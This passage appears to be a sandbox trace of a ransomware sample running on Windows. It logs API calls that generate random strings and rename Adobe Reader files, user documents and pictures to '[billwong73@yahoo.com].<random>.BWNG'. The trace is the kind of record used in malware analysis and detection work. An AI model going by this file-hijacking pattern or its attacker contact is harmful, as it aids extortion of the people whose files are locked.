| out: lpWideCharStr="d") returned 1 [0039.769] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0039.769] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\[billwong73@yahoo.com].CZ98cIaa-PwdiEHdb.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu\\[billwong73@yahoo.com].cz98ciaa-pwdiehdb.bwng"), dwFlags=0x1) returned 1 [0040.350] GetTickCount () returned 0x11551a9 [0040.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18230190318) returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="T") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="L") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="H") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="g") returned 1 [0040.350] GetTickCount () returned 0x11551a9 [0040.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18230223430) returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="K") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0040.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0040.350] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\[billwong73@yahoo.com].Ezn7TLHg-KxK19V7D.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\[billwong73@yahoo.com].ezn7tlhg-kxk19v7d.bwng"), dwFlags=0x1) returned 1 [0040.351] GetTickCount () returned 0x11551a9 [0040.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18230343007) returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="6") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="E") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0040.351] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="f") returned 1 [0040.351] GetTickCount () returned 0x11551a9 [0040.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18230372248) returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="W") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="q") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="n") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="y") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0040.352] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\[billwong73@yahoo.com].oWof6Ecf-WqnVy3Xv.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\[billwong73@yahoo.com].owof6ecf-wqnvy3xv.bwng"), dwFlags=0x1) returned 1 [0040.352] GetTickCount () returned 0x11551a9 [0040.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18230465488) returned 1 [0040.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="J") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="2") returned 1 [0040.353] GetTickCount () returned 0x11551a9 [0040.353] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18230495060) returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="c") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Z") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="U") returned 1 [0040.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Y") returned 1 [0040.353] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\EAvGGvTw.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\eavggvtw.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].JBOrF7Q2-eOcZhOUY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].jborf7q2-eoczhouy.bwng"), dwFlags=0x1) returned 1 [0040.354] GetTickCount () returned 0x11551a9 [0040.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18230596801) returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="7") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="I") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0040.354] GetTickCount () returned 0x11551a9 [0040.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18230629382) returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="5") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="v") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="m") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="o") returned 1 [0040.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="Q") returned 1 [0040.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].z73OI3ap-5GtlvmoQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].z73oi3ap-5gtlvmoq.bwng"), dwFlags=0x1) returned 1 [0040.357] GetTickCount () returned 0x11551a9 [0040.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18230956353) returned 1 [0040.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="a") returned 1 [0040.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="u") returned 1 [0040.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="z") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="3") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="P") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="S") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="i") returned 1 [0040.358] GetTickCount () returned 0x11551b9 [0040.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18230991274) returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="1") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="C") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="B") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="F") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="9") returned 1 [0040.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="8") returned 1 [0040.358] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ltC_LU5_qwr7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ltc_lu5_qwr7.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\[billwong73@yahoo.com].auz3PS9i-1CpBDF98.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\[billwong73@yahoo.com].auz3ps9i-1cpbdf98.bwng"), dwFlags=0x1) returned 1 [0040.358] GetTickCount () returned 0x11551b9 [0040.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18231070888) returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="r") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="G") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="t") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="x") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="b") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="w") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="p") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0040.359] GetTickCount () returned 0x11551b9 [0040.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe34 | out: lpPerformanceCount=0x37cfe34*=18231100228) returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="X") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="A") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="V") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="N") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="l") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="4") returned 1 [0040.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe10, cbMultiByte=1, lpWideCharStr=0x37cedf8, cchWideChar=2047 | out: lpWideCharStr="M") returned 1 [0040.359] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\[billwong73@yahoo.com].rGtxbwpe-XADVNl4M.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\[billwong73@yahoo.com].rgtxbwpe-xadvnl4m.bwng"), dwFlags=0x1) returned 1 [0040.360] GetTickCount () returned 0x11551b9 [0040.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=18231197419) returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="e") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="O") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="h") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, lpWideCharStr=0x37cee00, cchWideChar=2047 | out: lpWideCharStr="D") returned 1 [0040.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x37cfe18, cbMultiByte=1, 